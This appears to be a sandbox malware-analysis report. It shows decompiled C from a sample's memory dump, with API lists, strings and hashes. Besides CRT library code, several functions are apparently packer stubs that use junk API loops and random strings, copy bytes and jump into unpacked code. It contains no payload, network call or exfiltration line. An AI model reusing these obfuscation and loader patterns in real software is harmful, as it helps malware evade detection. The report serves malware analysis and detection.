								} else {
									 *(_t307 - 0x1024) =  *(_t307 - 0x7054);
									 *(_t307 - 0x302c) = 1;
								}
								goto L43;
							}
						}
						L43:
						 *(_t307 - 4) = 0;
						E0042D19A();
					}
					if( *(_t307 - 0x302c) == 0) {
						if( *0x55b800 != 0) {
							 *(_t307 - 0x7058) = 0;
							_t285 = _t307 - 0x7058;
							_t200 =  *0x55b800( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7058);
							_t315 = _t315 + 0xc;
							if(_t200 != 0) {
								_t285 =  *(_t307 - 0x7058);
								 *(_t307 - 0x1024) =  *(_t307 - 0x7058);
								 *(_t307 - 0x302c) = 1;
							}
						}
						if( *(_t307 - 0x302c) == 0) {
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
								_t285 =  *(_t307 + 8);
								if( *(0x441070 +  *(_t307 + 8) * 4) != 0xffffffff) {
									_t181 =  *(_t307 + 8);
									_t263 =  *(0x441070 + _t181 * 4);
									 *((intOrPtr*)(_t307 - 0x8074)) = GetFileType( *(0x441070 + _t181 * 4));
									if( *((intOrPtr*)(_t307 - 0x8074)) == 2) {
										_t184 = E0042DC00(_t263, _t307 - 0x3028);
										_t315 = _t315 + 4;
										_t285 =  *(_t307 + 8);
										if(WriteConsoleW( *(0x441070 +  *(_t307 + 8) * 4), _t307 - 0x3028, _t184, _t307 - 0x705c, 0) == 0) {
											if(GetLastError() == 6) {
												goto L57;
											} else {
											}
										} else {
										}
									} else {
										L57:
										 *(_t307 - 0x8064) = 0;
										_t190 = E0041DAF0(L00437A30(_t307 - 0x8064, _t307 - 0x8060, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x27e, 0);
										_t315 = _t315 + 0x34;
										 *((intOrPtr*)(_t307 - 0x8068)) = _t190;
										if( *((intOrPtr*)(_t307 - 0x8068)) == 0 ||  *((intOrPtr*)(_t307 - 0x8068)) == 0x50) {
											if( *(_t307 - 0x8064) > 0) {
												 *(_t307 - 0x8064) =  *(_t307 - 0x8064) - 1;
											}
											_t267 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t267 * 4);
											WriteFile( *(0x441070 + _t267 * 4), _t307 - 0x8060,  *(_t307 - 0x8064), _t307 - 0x705c, 0);
										} else {
											_t195 = E0042DC00(_t307 - 0x705c, _t307 - 0x3028);
											_t315 = _t315 + 4;
											_t269 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t269 * 4);
											WriteFile( *(0x441070 + _t269 * 4), _t307 - 0x3028, _t195 << 1, _t307 - 0x705c, 0);
										}
									}
								}
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000002) != 0) {
								_t285 = _t307 - 0x3028;
								OutputDebugStringW(_t307 - 0x3028);
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000004) != 0) {
								 *(_t307 - 0x5030) = 0;
								if( *(_t307 + 0x10) != 0) {
									E0041E060(E00438460( *(_t307 + 0x10),  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t179, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x29c, 0);
									_t315 = _t315 + 0x28;
								}
								asm("sbb ecx, ecx");
								_t285 = _t307 - 0x5030;
								 *(_t307 - 0x1024) = E0041E490(_t243, _t307 - 0x5030, _t303, _t305,  *(_t307 + 8),  *(_t307 + 0xc),  ~( *(_t307 + 0x10)) & _t307 - 0x00005030,  *((intOrPtr*)(_t307 + 0x14)), _t307 - 0x7030);
							}
						}
					}
				} else {
					_t241 = E0041E060(E00438460(_t307 - 0x5030,  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t240, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1f0, 0);
					OutputDebugStringW(L"Second Chance Assertion Failed: File ");
					if( *(_t307 + 0xc) == 0) {
						 *(_t307 - 0x806c) = L"<file unknown>";
					} else {
						_t241 =  *(_t307 + 0xc);
						 *(_t307 - 0x806c) =  *(_t307 + 0xc);
					}
					OutputDebugStringW( *(_t307 - 0x806c));
					OutputDebugStringW(L", Line ");
					_t285 = _t307 - 0x5030;
					OutputDebugStringW(_t307 - 0x5030);
					OutputDebugStringW("\n");
					E0042C2F0(_t241);
					 *(_t307 - 0x1024) = 0xffffffff;
				}
				 *(_t307 - 4) = 0xfffffffe;
				E0042D427();
				_t170 =  *(_t307 - 0x1024);
				 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0x10));
				_pop(_t304);
				_pop(_t306);
				_pop(_t244);
				return E0042BD60(_t170, _t244,  *(_t307 - 0x1c) ^ _t307, _t285, _t304, _t306);
			}

0x0042cc2f
0x0042ccdc
0x0042cce9
0x0042ccf4
0x0042ccfa
0x0042cd13
0x0042cd18
0x0042cd1b
0x0042cd28
0x0042cd4c
0x0042cd51
0x0042cd51
0x0042cd5f
0x0042cd68
0x0042cd9a
0x0042cd9f
0x0042cd9f
0x0042cd68
0x0042cda6
0x0042cdac
0x0042cdba
0x0042cdae
0x0042cdae
0x0042cdae
0x0042cdf6
0x0042cdfb
0x0042cdfb
0x0042ce20
0x0042ce30
0x0042ce35
0x0042ce3c
0x0042ce4b
0x0042ce6d
0x0042ce7d
0x0042ce82
0x0042ce82
0x0042ceb5
0x0042ceba
0x0042ceba
0x0042cec1
0x0042cfd1
0x0042cfd6
0x0042cec7
0x0042cec7
0x0042ced8
0x0042cee3
0x0042ceef
0x0042cef3
0x0042cf07
0x0042cf0e
0x0042cf13
0x0042cf16
0x0042cf23
0x0042cf47
0x0042cf4c
0x0042cf4c
0x0042cf4f
0x0042cf54
0x0042cf5a
0x0042cf63
0x0042cf95
0x0042cf9a
0x0042cf9a
0x0042cf9d
0x0042cfd9
0x0042cfff
0x0042d01d
0x0042d022
0x0042d025
0x0042d032
0x0042d064
0x0042d069
0x0042d069
0x0042d073
0x0042d082
0x0042d08c
0x0042d098
0x0042d09d
0x0042d0a0
0x0042d0a7
0x0042d0ad
0x0042d0c4
0x0042d0cd
0x0042d0e9
0x0042d0f2
0x0042d0f4
0x0042d0f9
0x0042d0be
0x00000000
0x0042d0fb
0x0042d101
0x0042d107
0x0042d107
0x00000000
0x0042d0f9
0x0042d11c
0x0042d11e
0x0042d124
0x0042d13b
0x0042d144
0x0042d160
0x0042d169
0x0042d16b
0x0042d170
0x0042d135
0x00000000
0x0042d172
0x0042d178
0x0042d17e
0x0042d17e
0x00000000
0x0042d170
0x0042d13b
0x0042d18c
0x0042d18c
0x0042d193
0x0042d193
0x0042d1ac
0x0042d1b9
0x0042d1bb
0x0042d1c5
0x0042d1d7
0x0042d1dd
0x0042d1e2
0x0042d1e4
0x0042d1ea
0x0042d1f0
0x0042d1f0
0x0042d1e2
0x0042d201
0x0042d214
0x0042d21a
0x0042d225
0x0042d22b
0x0042d22e
0x0042d23c
0x0042d249
0x0042d25d
0x0042d262
0x0042d26d
0x0042d280
0x0042d290
0x00000000
0x00000000
0x0042d292
0x00000000
0x0042d282
0x0042d24b
0x0042d297
0x0042d297
0x0042d2e0
0x0042d2e5
0x0042d2e8
0x0042d2f5
0x0042d33c
0x0042d347
0x0042d347
0x0042d364
0x0042d367
0x0042d36f
0x0042d300
0x0042d310
0x0042d315
0x0042d322
0x0042d325
0x0042d32d
0x0042d32d
0x0042d2f5
0x0042d249
0x0042d225
0x0042d382
0x0042d384
0x0042d38b
0x0042d38b
0x0042d39e
0x0042d3a2
0x0042d3ad
0x0042d3e0
0x0042d3e5
0x0042d3e5
0x0042d3f8
0x0042d3fa
0x0042d413
0x0042d413
0x0042d39e
0x0042d201
0x0042cc35
0x0042cc66
0x0042cc73
0x0042cc7d
0x0042cc8a
0x0042cc7f
0x0042cc7f
0x0042cc82
0x0042cc82
0x0042cc9b
0x0042cca6
0x0042ccac
0x0042ccb3
0x0042ccbe
0x0042ccc4
0x0042ccc9
0x0042ccc9
0x0042d419
0x0042d420
0x0042d439
0x0042d442
0x0042d44a
0x0042d44b
0x0042d44c
0x0042d45a

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042CC27
__invoke_watson_if_error.LIBCMTD ref: 0042CC66
OutputDebugStringW.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042CC73
OutputDebugStringW.KERNEL32(004067C0), ref: 0042CC9B
OutputDebugStringW.KERNEL32(, Line ), ref: 0042CCA6
OutputDebugStringW.KERNEL32(?), ref: 0042CCB3
OutputDebugStringW.KERNEL32(004067AC), ref: 0042CCBE
_wcscat_s.LIBCMTD ref: 0042CE74

Part of subcall function 00437A60: __invalid_parameter.LIBCMTD ref: 00437AD2

__invoke_watson_if_error.LIBCMTD ref: 0042CE7D

Part of subcall function 0041E060: __invoke_watson.LIBCMTD ref: 0041E081

_wcscat_s.LIBCMTD ref: 0042CEAC

Part of subcall function 00437A60: _memset.LIBCMT ref: 00437B3F
Part of subcall function 00437A60: __invalid_parameter.LIBCMTD ref: 00437B9B

__invoke_watson_if_error.LIBCMTD ref: 0042CEB5
__snwprintf_s.LIBCMTD ref: 0042CF0E

Part of subcall function 0042DA40: __vsnwprintf_s_l.LIBCMTD ref: 0042DA62

__invoke_watson_if_oneof.LIBCMTD ref: 0042CF47
_wcscpy_s.LIBCMTD ref: 0042CF8C
__invoke_watson_if_error.LIBCMTD ref: 0042CF95
__invoke_watson_if_oneof.LIBCMTD ref: 0042D01D
_wcscpy_s.LIBCMTD ref: 0042D05B
__invoke_watson_if_error.LIBCMTD ref: 0042D064
__itow_s.LIBCMTD ref: 0042CC5D

Part of subcall function 00438460: _xtow_s@20.LIBCMTD ref: 0043848B

__strftime_l.LIBCMTD ref: 0042CD13
__invoke_watson_if_oneof.LIBCMTD ref: 0042CD4C
_wcscpy_s.LIBCMTD ref: 0042CD91
__invoke_watson_if_error.LIBCMTD ref: 0042CD9A
_wcscpy_s.LIBCMTD ref: 0042CDED
__invoke_watson_if_error.LIBCMTD ref: 0042CDF6
_wcscat_s.LIBCMTD ref: 0042CE27
__invoke_watson_if_error.LIBCMTD ref: 0042CE30

Strings

_CrtDbgReport: String too long or IO Error, xrefs: 0042CD80, 0042CF7B
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CF76
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 0042CE96
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 0042CDD5
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CD7B
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 0042CE5E
%s(%d) : %s, xrefs: 0042CEF8
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042CC3C, 0042CD31, 0042CD71, 0042CDCB, 0042CE05, 0042CE54, 0042CE8C, 0042CF2C, 0042CF6C, 0042CFEA, 0042D03B, 0042D2A8, 0042D3B6
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042CFF4
_VCrtDbgReportW, xrefs: 0042CC41, 0042CD36, 0042CD76, 0042CDD0, 0042CE0A, 0042CE59, 0042CE91, 0042CF31, 0042CF71, 0042CFEF, 0042D040, 0042D2AD, 0042D3BB
P, xrefs: 0042D2F7
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042CE0F
Assertion failed!, xrefs: 0042CDBA
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042D045
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042D04A
, Line , xrefs: 0042CCA1
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042D2B2
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 0042CC46, 0042D3C0
Assertion failed: , xrefs: 0042CDAE
f@, xrefs: 0042CDDA, 0042CDE0
Second Chance Assertion Failed: File , xrefs: 0042CC6E
<file unknown>, xrefs: 0042CC8A
(*_errno()), xrefs: 0042CD3B, 0042CF36

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnwprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f@
API String ID: 2252013794-1152050759
Opcode ID: 30dc5baede6a4c09c5646088e5663764074af072632158a5e24b192259fd1e63
Instruction ID: 312b3eaf85577ca9d2987c7b744e83399f73b4bdd557a2a44616248408081225
Opcode Fuzzy Hash: 30dc5baede6a4c09c5646088e5663764074af072632158a5e24b192259fd1e63
Instruction Fuzzy Hash: CC12C371E44328EAEB20DF50DC46BDA7378AB08744F5081AAF509762C1D7BCAA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00419D2A, Relevance: 42.1, APIs: 16, Strings: 8, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419D2A() {
				signed int _v8;
				char _v1116;
				char _v2140;
				char _v4188;
				struct _COORD _v4192;
				struct _STARTUPINFOW _v4268;
				union _ULARGE_INTEGER _v4276;
				union _ULARGE_INTEGER _v4284;
				char _v5308;
				union _ULARGE_INTEGER _v5316;
				char _v5604;
				signed int _v5608;
				void _v5640;
				signed int _v5644;

				E0041AB60(0x1648);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					SetLastError(0);
					if( *0x55abe4 == 0x16) {
						GetProfileStringA("wegazevevemitohokababawijufapiyodewemu", "gugafavapisufetirenucihobeyokuxutebijubixofaxabe", "xoliwerarihazohupamuzuficumabaselacahexuxa",  &_v2140, 0);
						WriteProfileSectionW(0, 0);
						GetProfileStringA("yobahojicusenino", "pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow", "leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled",  &_v1116, 0);
					}
					GetLastError();
					if( *0x55abe4 == 0x9e) {
						__imp__GetSystemWow64DirectoryW( &_v4188, 0);
						GetWindowsDirectoryA( &_v5308, 0);
						__imp__GetCPInfoExA(0, 0,  &_v5604);
						GetDiskFreeSpaceExA("Yapey hetucironijas nuxo xukedosi bovuludut",  &_v4276,  &_v4284,  &_v5316);
						GetStartupInfoW( &_v4268);
						ReadConsoleOutputCharacterW(0, 0, 0, _v4192, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				E00419A58( *0x453940,  *0x55abe4, 0x440010);
				_v5608 = _v5608 & 0x00000000;
				while(_v5608 < 0x3e79e) {
					if( *0x55abe4 == 0x10) {
						GlobalUnWire( &_v5640);
					}
					if(_v5608 == 0x1e673) {
						 *0x453940 =  *0x453940 + 0x3a6b;
					}
					_v5608 = _v5608 + 1;
				}
				_v5644 = _v5644 & 0x00000000;
				while(_v5644 < 0xdd9a7) {
					if( *0x55abe4 == 0xc01) {
						GetProcessHeap();
						GetProcessHeaps(0, 0);
						WritePrivateProfileStringA(0, 0, 0, 0);
						GetPriorityClass(0);
					}
					_v5644 = _v5644 + 1;
				}
				goto ( *0x453940);
			}

0x00419d32
0x00419d37
0x00419d44
0x00419d53
0x00419d60
0x00419d7a
0x00419d84
0x00419da2
0x00419da2
0x00419da8
0x00419db8
0x00419dc3
0x00419dd2
0x00419de3
0x00419e03
0x00419e10
0x00419e24
0x00419e24
0x00419e31
0x00419d41
0x00000000
0x00419e33
0x00000000
0x00419e33
0x00419e31
0x00419e4b
0x00419e50
0x00419e66
0x00419e79
0x00419e82
0x00419e82
0x00419e92
0x00419e94
0x00419e94
0x00419e60
0x00419e60
0x00419ea0
0x00419eb6
0x00419ecc
0x00419ece
0x00419ed8
0x00419ee6
0x00419eee
0x00419eee
0x00419eb0
0x00419eb0
0x00419ef6

APIs

SetLastError.KERNEL32(00000000), ref: 00419D53
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419D7A
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419D84
GetProfileStringA.KERNEL32(yobahojicusenino,pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow,leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled,?,00000000), ref: 00419DA2
GetLastError.KERNEL32 ref: 00419DA8
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419DC3
GetWindowsDirectoryA.KERNEL32(?,00000000), ref: 00419DD2
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419DE3
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419E03
GetStartupInfoW.KERNEL32(?), ref: 00419E10
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419E24
GlobalUnWire.KERNEL32(?), ref: 00419E82
GetProcessHeap.KERNEL32 ref: 00419ECE
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 00419ED8
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419EE6
GetPriorityClass.KERNEL32(00000000), ref: 00419EEE

Strings

wegazevevemitohokababawijufapiyodewemu, xrefs: 00419D75
yobahojicusenino, xrefs: 00419D9D
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419D6B
leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled, xrefs: 00419D93
pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow, xrefs: 00419D98
u7, xrefs: 00419E2A
gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419D70
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419DFE

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: Profile$String$DirectoryErrorInfoLastProcessWrite$CharacterClassConsoleDiskFreeGlobalHeapHeapsOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled$pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$yobahojicusenino$u7
API String ID: 182769965-1659383190
Opcode ID: 1290c2a998aeb14be97f0f5337e0297440c0b7e585fc6c7faa3d0ffed510e2cc
Instruction ID: c82317815257e85cb15de1c7b53376826326e527957482cb9e196e9ab0febc83
Opcode Fuzzy Hash: 1290c2a998aeb14be97f0f5337e0297440c0b7e585fc6c7faa3d0ffed510e2cc
Instruction Fuzzy Hash: F2415A71945358EFEB20DB90DE59BD973B9AB14703F1000A7F24AA60E0C7B95AC48F1A

Uniqueness

Uniqueness Score: -1.00%

Function 00419AE1, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 110
timefilepipeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00419AE1(union _FINDEX_INFO_LEVELS _a4) {
				void* _v8;
				void* _v22;
				struct _SYSTEMTIME _v24;
				void* _v38;
				struct _SYSTEMTIME _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _DCB _v88;
				struct _TIME_ZONE_INFORMATION _v260;
				char _v1284;
				void _v2308;
				intOrPtr _t25;
				union _FINDEX_INFO_LEVELS _t27;
				void* _t54;

				if( *0x55abe4 == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsW(L"lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix",  &_v88,  &_v60);
					CreateMailslotA("kinekecusaz", 0, 0, 0);
					GetNamedPipeHandleStateA(0, 0, 0, 0, 0, 0, 0);
					ReleaseSemaphore(0, 0, 0);
					FindAtomA(0);
					_v40.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v24.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					SystemTimeToTzSpecificLocalTime( &_v260,  &_v40,  &_v24);
					__imp__SetComputerNameExA(0, "Hay sexulilef", _t54);
					SetConsoleCursorInfo(0, 0);
					TlsGetValue(0);
					CopyFileA(0, 0, 0);
					__imp__GetLongPathNameA(0,  &_v1284, 0);
					__imp__SetVolumeMountPointW(0, 0);
					SetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsA(0);
					GetDriveTypeW(L"fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb");
					FindFirstFileExW(L"gocibuzoluxomebaxabuviyupezadapebetag", _a4,  &_v2308, _a4, 0, 0);
				}
				_v8 = 0;
				_t25 =  *0x55abe8; // 0x3f6fda
				_v8 = _v8 + _t25;
				_v8 = _v8 + 0x12336;
				_t27 = _a4;
				 *((char*)( *0x453940 + _t27)) =  *((intOrPtr*)(_v8 + _t27));
				return _t27;
			}

0x00419af4
0x00419afd
0x00419b03
0x00419b04
0x00419b05
0x00419b06
0x00419b14
0x00419b22
0x00419b2f
0x00419b38
0x00419b3f
0x00419b47
0x00419b4e
0x00419b4f
0x00419b50
0x00419b51
0x00419b55
0x00419b5c
0x00419b5d
0x00419b5e
0x00419b5f
0x00419b70
0x00419b7c
0x00419b84
0x00419b8b
0x00419b94
0x00419ba3
0x00419bab
0x00419bb3
0x00419bba
0x00419bc5
0x00419bdf
0x00419be5
0x00419be6
0x00419be9
0x00419bee
0x00419bf6
0x00419bf9
0x00419c08
0x00419c0d

APIs

BuildCommDCBAndTimeoutsW.KERNEL32 ref: 00419B14
CreateMailslotA.KERNEL32 ref: 00419B22
GetNamedPipeHandleStateA.KERNEL32 ref: 00419B2F
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00419B38
FindAtomA.KERNEL32 ref: 00419B3F
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00419B70
SetComputerNameExA.KERNEL32(00000000,Hay sexulilef), ref: 00419B7C
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419B84
TlsGetValue.KERNEL32(00000000), ref: 00419B8B
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00419B94
GetLongPathNameA.KERNEL32 ref: 00419BA3
SetVolumeMountPointW.KERNEL32(00000000,00000000), ref: 00419BAB
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 00419BB3
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00419BBA
GetDriveTypeW.KERNEL32(fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb), ref: 00419BC5
FindFirstFileExW.KERNEL32(gocibuzoluxomebaxabuviyupezadapebetag,?,?,?,00000000,00000000), ref: 00419BDF

Strings

kinekecusaz, xrefs: 00419B1D
fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb, xrefs: 00419BC0
lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix, xrefs: 00419B0F
gocibuzoluxomebaxabuviyupezadapebetag, xrefs: 00419BDA
Hay sexulilef, xrefs: 00419B76

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: FileFindNameTime$AtomBoostBuildCommComputerConsoleCopyCreateCursorDriveEnvironmentFirstFreeHandleInfoLocalLongMailslotMountNamedPathPipePointPriorityProcessReleaseSemaphoreSpecificStateStringsSystemTimeoutsTypeValueVolume
String ID: Hay sexulilef$fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb$gocibuzoluxomebaxabuviyupezadapebetag$kinekecusaz$lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix
API String ID: 2371511816-294975296
Opcode ID: 501f59bb037f79fd8c8e56774737705b1091c1602414329c54927523f4b33fdd
Instruction ID: 735c150c466fa511bf5a7a49e75c82a86e44670311c5b0d3be03cf0c1dcf776a
Opcode Fuzzy Hash: 501f59bb037f79fd8c8e56774737705b1091c1602414329c54927523f4b33fdd
Instruction Fuzzy Hash: F9311676802568BFD7119BE4DE089DFBBBCEF4A351B100022F245E2030D6385A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042BD60, Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0042BD60(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x440354; // 0x6abcbdeb
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x55b510 = _t6;
				 *0x55b50c = _t20;
				 *0x55b508 = _t22;
				 *0x55b504 = _t19;
				 *0x55b500 = _t25;
				 *0x55b4fc = _t24;
				 *0x55b528 = ss;
				 *0x55b51c = cs;
				 *0x55b4f8 = ds;
				 *0x55b4f4 = es;
				 *0x55b4f0 = fs;
				 *0x55b4ec = gs;
				asm("pushfd");
				_pop( *0x55b520);
				 *0x55b514 =  *_t29;
				 *0x55b518 = _v0;
				 *0x55b524 =  &_a4;
				 *0x55b460 = 0x10001;
				 *0x55b414 =  *0x55b518;
				 *0x55b408 = 0xc0000409;
				 *0x55b40c = 1;
				_t21 =  *0x440354; // 0x6abcbdeb
				_v812 = _t21;
				_t23 =  *0x440358; // 0x95434214
				_v808 = _t23;
				 *0x55b458 = IsDebuggerPresent();
				_push(1);
				E00429AA0(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x4080a8);
				if( *0x55b458 == 0) {
					_push(1);
					E00429AA0(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0042bd60
0x0042bd60
0x0042bd60
0x0042bd60
0x0042bd60
0x0042bd60
0x0042bd60
0x0042bd66
0x0042bd68
0x0042bd68
0x0043638b
0x00436390
0x00436396
0x0043639c
0x004363a2
0x004363a8
0x004363ae
0x004363b5
0x004363bc
0x004363c3
0x004363ca
0x004363d1
0x004363d8
0x004363d9
0x004363e2
0x004363ea
0x004363f2
0x004363fd
0x0043640c
0x00436411
0x0043641b
0x00436425
0x0043642b
0x00436431
0x00436437
0x00436443
0x00436448
0x0043644a
0x00436454
0x0043645f
0x0043646c
0x0043646e
0x00436470
0x00436475
0x0043648d

APIs

